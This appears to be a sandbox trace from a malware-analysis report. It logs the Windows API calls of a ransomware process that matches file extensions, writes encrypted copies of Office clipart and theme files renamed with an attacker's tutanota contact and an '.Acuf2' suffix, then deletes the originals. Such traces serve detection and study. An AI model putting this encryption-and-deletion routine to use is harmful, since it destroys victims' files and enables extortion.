	[0256.061] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0256.061] lstrlenW (lpString=".7z") returned 3
	[0256.061] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0256.061] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\VCTRN_01.MID") returned 63
	[0256.061] lstrlenW (lpString=".dbf") returned 4
	[0256.061] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0256.061] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\VCTRN_01.MID") returned 63
	[0256.061] lstrlenW (lpString=".1cd") returned 4
	[0256.061] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0256.061] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\VCTRN_01.MID") returned 63
	[0256.061] lstrlenW (lpString=".jpg") returned 4
	[0256.061] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0256.061] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\VCTRN_01.MID") returned 63
	[0256.061] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\VCTRN_01.MID") returned 63
	[0256.061] lstrlenW (lpString=".doc") returned 4
	[0256.061] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0256.061] lstrlenW (lpString=".docx") returned 5
	[0256.061] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1
	[0256.061] lstrlenW (lpString=".pdf") returned 4
	[0256.061] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0256.061] lstrlenW (lpString=".xls") returned 4
	[0256.061] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0256.061] lstrlenW (lpString=".xlsx") returned 5
	[0256.062] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1
	[0256.062] lstrlenW (lpString=".ppt") returned 4
	[0256.062] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0256.062] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\VCTRN_01.MID") returned 63
	[0256.062] lstrlenW (lpString=".zip") returned 4
	[0256.062] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0256.062] lstrlenW (lpString=".rar") returned 4
	[0256.062] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0256.062] lstrlenW (lpString=".bz2") returned 4
	[0256.062] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0256.062] lstrlenW (lpString=".7z") returned 3
	[0256.062] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0256.062] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\VCTRN_01.MID") returned 63
	[0256.062] lstrlenW (lpString=".dbf") returned 4
	[0256.062] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0256.062] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\VCTRN_01.MID") returned 63
	[0256.062] lstrlenW (lpString=".1cd") returned 4
	[0256.062] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0256.062] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\VCTRN_01.MID") returned 63
	[0256.062] lstrlenW (lpString=".jpg") returned 4
	[0256.062] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0256.062] lstrcmpiW (lpString1=".MID", lpString2=".Acuf2") returned 1
	[0256.062] lstrlenW (lpString="WNTER_01.MID") returned 12
	[0256.063] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WNTER_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wnter_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0256.065] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x34cff1c | out: lpFileSize=0x34cff1c*=6915) returned 1
	[0256.065] CloseHandle (hObject=0x358) returned 1
	[0256.069] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WNTER_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wnter_01.mid")) returned 0x20
	[0256.070] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WNTER_01.MID.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wnter_01.mid.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0256.070] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WNTER_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wnter_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0256.070] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec8 | out: lpNewFilePointer=0x0) returned 1
	[0256.070] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec8 | out: lpNewFilePointer=0x0) returned 1
	[0256.070] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WNTER_01.MID.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wnter_01.mid.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c
	[0256.070] GetLastError () returned 0x0
	[0256.070] ReadFile (in: hFile=0x358, lpBuffer=0x3f50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesRead=0x34cfed4*=0x1b03, lpOverlapped=0x0) returned 1
	[0256.074] WriteFile (in: hFile=0x28c, lpBuffer=0x3f50020*, nNumberOfBytesToWrite=0x1b10, lpNumberOfBytesWritten=0x34cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesWritten=0x34cfc9c*=0x1b10, lpOverlapped=0x0) returned 1
	[0256.075] ReadFile (in: hFile=0x358, lpBuffer=0x3f50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesRead=0x34cfed4*=0x0, lpOverlapped=0x0) returned 1
	[0256.075] WriteFile (in: hFile=0x28c, lpBuffer=0x3f50020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesWritten=0x34cfc9c*=0xec, lpOverlapped=0x0) returned 1
	[0256.075] SetEndOfFile (hFile=0x28c) returned 1
	[0256.075] CloseHandle (hObject=0x28c) returned 1
	[0256.075] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec8 | out: lpNewFilePointer=0x0) returned 1
	[0256.075] SetEndOfFile (hFile=0x358) returned 1
	[0256.110] CloseHandle (hObject=0x358) returned 1
	[0256.110] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WNTER_01.MID.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0256.169] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WNTER_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wnter_01.mid")) returned 1
	[0256.277] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WNTER_01.MID") returned 63
	[0256.277] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WNTER_01.MID") returned 63
	[0256.277] lstrlenW (lpString=".doc") returned 4
	[0256.277] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0256.277] lstrlenW (lpString=".docx") returned 5
	[0256.277] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1
	[0256.277] lstrlenW (lpString=".pdf") returned 4
	[0256.277] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0256.277] lstrlenW (lpString=".xls") returned 4
	[0256.277] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0256.277] lstrlenW (lpString=".xlsx") returned 5
	[0256.277] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1
	[0256.277] lstrlenW (lpString=".ppt") returned 4
	[0256.278] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0256.278] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WNTER_01.MID") returned 63
	[0256.278] lstrlenW (lpString=".zip") returned 4
	[0256.278] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0256.278] lstrlenW (lpString=".rar") returned 4
	[0256.278] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0256.278] lstrlenW (lpString=".bz2") returned 4
	[0256.278] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0256.278] lstrlenW (lpString=".7z") returned 3
	[0256.278] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0256.278] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WNTER_01.MID") returned 63
	[0256.278] lstrlenW (lpString=".dbf") returned 4
	[0256.278] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0256.278] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WNTER_01.MID") returned 63
	[0256.278] lstrlenW (lpString=".1cd") returned 4
	[0256.278] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0256.278] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WNTER_01.MID") returned 63
	[0256.278] lstrlenW (lpString=".jpg") returned 4
	[0256.278] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0256.278] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WNTER_01.MID") returned 63
	[0256.278] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WNTER_01.MID") returned 63
	[0256.278] lstrlenW (lpString=".doc") returned 4
	[0256.278] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0256.278] lstrlenW (lpString=".docx") returned 5
	[0256.278] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1
	[0256.278] lstrlenW (lpString=".pdf") returned 4
	[0256.279] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0256.279] lstrlenW (lpString=".xls") returned 4
	[0256.279] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0256.279] lstrlenW (lpString=".xlsx") returned 5
	[0256.279] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1
	[0256.279] lstrlenW (lpString=".ppt") returned 4
	[0256.279] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0256.279] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WNTER_01.MID") returned 63
	[0256.279] lstrlenW (lpString=".zip") returned 4
	[0256.279] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0256.279] lstrlenW (lpString=".rar") returned 4
	[0256.279] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0256.279] lstrlenW (lpString=".bz2") returned 4
	[0256.279] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0256.279] lstrlenW (lpString=".7z") returned 3
	[0256.279] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0256.279] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WNTER_01.MID") returned 63
	[0256.279] lstrlenW (lpString=".dbf") returned 4
	[0256.279] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0256.279] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WNTER_01.MID") returned 63
	[0256.279] lstrlenW (lpString=".1cd") returned 4
	[0256.280] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0256.280] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WNTER_01.MID") returned 63
	[0256.280] lstrlenW (lpString=".jpg") returned 4
	[0256.280] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0256.280] lstrcmpiW (lpString1=".eftx", lpString2=".Acuf2") returned 1
	[0256.280] lstrlenW (lpString="Austin.eftx") returned 11
	[0256.280] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Austin.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\austin.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c
	[0256.363] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x34cff1c | out: lpFileSize=0x34cff1c*=26989) returned 1
	[0256.363] CloseHandle (hObject=0x34c) returned 1
	[0256.363] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Austin.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\austin.eftx")) returned 0x20
	[0256.363] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Austin.eftx.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\austin.eftx.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0256.364] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Austin.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\austin.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c
	[0256.364] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec8 | out: lpNewFilePointer=0x0) returned 1
	[0256.364] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec8 | out: lpNewFilePointer=0x0) returned 1
	[0256.364] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Austin.eftx.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\austin.eftx.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2a4
	[0256.364] GetLastError () returned 0x0
	[0256.364] ReadFile (in: hFile=0x34c, lpBuffer=0x3f50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesRead=0x34cfed4*=0x696d, lpOverlapped=0x0) returned 1
	[0256.367] WriteFile (in: hFile=0x2a4, lpBuffer=0x3f50020*, nNumberOfBytesToWrite=0x6970, lpNumberOfBytesWritten=0x34cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesWritten=0x34cfc9c*=0x6970, lpOverlapped=0x0) returned 1
	[0256.368] ReadFile (in: hFile=0x34c, lpBuffer=0x3f50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesRead=0x34cfed4*=0x0, lpOverlapped=0x0) returned 1
	[0256.368] WriteFile (in: hFile=0x2a4, lpBuffer=0x3f50020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x34cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesWritten=0x34cfc9c*=0xea, lpOverlapped=0x0) returned 1
	[0256.368] SetEndOfFile (hFile=0x2a4) returned 1
	[0256.368] CloseHandle (hObject=0x2a4) returned 1
	[0256.368] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec8 | out: lpNewFilePointer=0x0) returned 1
	[0256.368] SetEndOfFile (hFile=0x34c) returned 1
	[0256.371] CloseHandle (hObject=0x34c) returned 1
	[0256.371] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Austin.eftx.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0256.371] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Austin.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\austin.eftx")) returned 1
	[0256.371] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Austin.eftx") returned 78
	[0256.372] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Austin.eftx") returned 78
	[0256.372] lstrlenW (lpString=".doc") returned 4
	[0256.372] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1
	[0256.372] lstrlenW (lpString=".docx") returned 5
	[0256.372] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1
	[0256.372] lstrlenW (lpString=".pdf") returned 4
	[0256.372] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1
	[0256.372] lstrlenW (lpString=".xls") returned 4
	[0256.372] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1
	[0256.372] lstrlenW (lpString=".xlsx") returned 5
	[0256.372] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1
	[0256.372] lstrlenW (lpString=".ppt") returned 4
	[0256.372] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1
	[0256.372] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Austin.eftx") returned 78
	[0256.372] lstrlenW (lpString=".zip") returned 4
	[0256.372] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1
	[0256.372] lstrlenW (lpString=".rar") returned 4
	[0256.372] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1
	[0256.372] lstrlenW (lpString=".bz2") returned 4
	[0256.372] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1
	[0256.372] lstrlenW (lpString=".7z") returned 3
	[0256.372] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1
	[0256.372] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Austin.eftx") returned 78
	[0256.372] lstrlenW (lpString=".dbf") returned 4
	[0256.372] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1
	[0256.372] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Austin.eftx") returned 78
	[0256.372] lstrlenW (lpString=".1cd") returned 4
	[0256.372] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1
	[0256.372] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Austin.eftx") returned 78
	[0256.372] lstrlenW (lpString=".jpg") returned 4
	[0256.372] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1
	[0256.373] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Austin.eftx") returned 78
	[0256.373] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Austin.eftx") returned 78
	[0256.373] lstrlenW (lpString=".doc") returned 4
	[0256.373] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1
	[0256.373] lstrlenW (lpString=".docx") returned 5
	[0256.373] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1
	[0256.373] lstrlenW (lpString=".pdf") returned 4
	[0256.373] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1
	[0256.373] lstrlenW (lpString=".xls") returned 4
	[0256.373] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1
	[0256.373] lstrlenW (lpString=".xlsx") returned 5
	[0256.373] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1
	[0256.373] lstrlenW (lpString=".ppt") returned 4
	[0256.373] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1
	[0256.373] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Austin.eftx") returned 78
	[0256.373] lstrlenW (lpString=".zip") returned 4
	[0256.373] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1
	[0256.373] lstrlenW (lpString=".rar") returned 4
	[0256.373] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1
	[0256.373] lstrlenW (lpString=".bz2") returned 4
	[0256.373] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1
	[0256.373] lstrlenW (lpString=".7z") returned 3
	[0256.373] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1
	[0256.373] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Austin.eftx") returned 78
	[0256.373] lstrlenW (lpString=".dbf") returned 4
	[0256.373] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1
	[0256.373] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Austin.eftx") returned 78
	[0256.373] lstrlenW (lpString=".1cd") returned 4
	[0256.373] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1
	[0256.373] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Austin.eftx") returned 78
	[0256.373] lstrlenW (lpString=".jpg") returned 4
	[0256.374] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1
	[0256.374] lstrcmpiW (lpString1=".eftx", lpString2=".Acuf2") returned 1
	[0256.374] lstrlenW (lpString="Civic.eftx") returned 10
	[0256.374] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Civic.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\civic.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c
	[0256.375] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x34cff1c | out: lpFileSize=0x34cff1c*=42917) returned 1
	[0256.375] CloseHandle (hObject=0x34c) returned 1
	[0256.375] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Civic.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\civic.eftx")) returned 0x20
	[0256.375] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Civic.eftx.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\civic.eftx.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0256.375] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Civic.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\civic.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c
	[0256.375] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec8 | out: lpNewFilePointer=0x0) returned 1
	[0256.375] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec8 | out: lpNewFilePointer=0x0) returned 1
	[0256.375] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Civic.eftx.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\civic.eftx.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2a4
	[0256.375] GetLastError () returned 0x0
	[0256.376] ReadFile (in: hFile=0x34c, lpBuffer=0x3f50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesRead=0x34cfed4*=0xa7a5, lpOverlapped=0x0) returned 1
	[0256.379] WriteFile (in: hFile=0x2a4, lpBuffer=0x3f50020*, nNumberOfBytesToWrite=0xa7b0, lpNumberOfBytesWritten=0x34cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesWritten=0x34cfc9c*=0xa7b0, lpOverlapped=0x0) returned 1
	[0256.381] ReadFile (in: hFile=0x34c, lpBuffer=0x3f50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesRead=0x34cfed4*=0x0, lpOverlapped=0x0) returned 1
	[0256.381] WriteFile (in: hFile=0x2a4, lpBuffer=0x3f50020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x34cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesWritten=0x34cfc9c*=0xe8, lpOverlapped=0x0) returned 1
	[0256.381] SetEndOfFile (hFile=0x2a4) returned 1
	[0256.381] CloseHandle (hObject=0x2a4) returned 1
	[0256.381] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec8 | out: lpNewFilePointer=0x0) returned 1
	[0256.381] SetEndOfFile (hFile=0x34c) returned 1
	[0256.384] CloseHandle (hObject=0x34c) returned 1
	[0256.385] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Civic.eftx.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0256.385] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Civic.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\civic.eftx")) returned 1
	[0256.385] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Civic.eftx") returned 77
	[0256.385] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Civic.eftx") returned 77
	[0256.385] lstrlenW (lpString=".doc") returned 4
	[0256.385] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1
	[0256.385] lstrlenW (lpString=".docx") returned 5
	[0256.385] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1
	[0256.385] lstrlenW (lpString=".pdf") returned 4
	[0256.385] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1
	[0256.385] lstrlenW (lpString=".xls") returned 4
	[0256.385] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1
	[0256.385] lstrlenW (lpString=".xlsx") returned 5
	[0256.385] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1
	[0256.385] lstrlenW (lpString=".ppt") returned 4
	[0256.385] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1
	[0256.385] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Civic.eftx") returned 77
	[0256.385] lstrlenW (lpString=".zip") returned 4
	[0256.385] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1
	[0256.385] lstrlenW (lpString=".rar") returned 4
	[0256.385] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1
	[0256.385] lstrlenW (lpString=".bz2") returned 4
	[0256.385] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1
	[0256.386] lstrlenW (lpString=".7z") returned 3
	[0256.386] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1
	[0256.386] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Civic.eftx") returned 77
	[0256.386] lstrlenW (lpString=".dbf") returned 4
	[0256.386] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1
